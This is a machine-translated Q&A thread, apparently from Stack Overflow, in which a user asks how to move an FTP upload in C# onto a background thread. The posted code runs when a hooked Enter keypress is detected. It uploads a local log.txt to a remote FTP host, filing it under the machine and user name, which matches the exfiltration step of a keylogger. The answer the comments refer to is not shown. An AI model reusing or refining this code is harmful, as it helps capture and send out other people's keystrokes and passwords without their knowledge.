我無法搞清楚如何線程我的FTP上傳腳本。我試圖從C#控制檯應用程序上傳它。我不喜歡它在上傳時凍結應用程序的事實。我聽說過使用「背景工作者」,但我完全不知道如何設置它。我一直在尋找一段時間。你可以給我一個例子嗎?謝謝。線程FTP上傳c#
if ((Keys)vkCode == Keys.Enter)
{
//~~~ Enter Key pressed ~~~ //
string ftpsrc = Application.StartupPath + @"/logs/log.txt";
FtpWebRequest request2 = (FtpWebRequest)WebRequest.Create("ftp://server.com" + System.Environment.MachineName + "___" + System.Environment.UserName + @"/" + "log.txt");
request2.Method = WebRequestMethods.Ftp.UploadFile;
request2.Credentials = new NetworkCredential("username", "password");
StreamReader sourceStream2 = new StreamReader(ftpsrc);
byte[] fileContents2 = Encoding.UTF8.GetBytes(sourceStream2.ReadToEnd());
sourceStream2.Close();
request2.ContentLength = fileContents2.Length;
Stream requestStream2 = request2.GetRequestStream();
requestStream2.Write(fileContents2, 0, fileContents2.Length);
requestStream2.Close();
FtpWebResponse response2 = (FtpWebResponse)request2.GetResponse();
response2.Close();
//~~~ End Enter Key ~~~//
}
我聽說過使用後臺工作器..你能給我一個背景工作的例子,當使用回車鍵時會調用它嗎?例如if((Keys)vkCode == Keys.Enter) {// stuffs} – 2013-05-01 00:44:30
@Chris_Bogausch檢查我的編輯。 – Nomad101 2013-05-01 00:48:42
非常感謝!我正在尋找一個實際的例子。我只是一個試圖學習一些C#的小白。我感謝你幫助我!如果我需要幫助,請聯繫我。 – 2013-05-01 00:56:59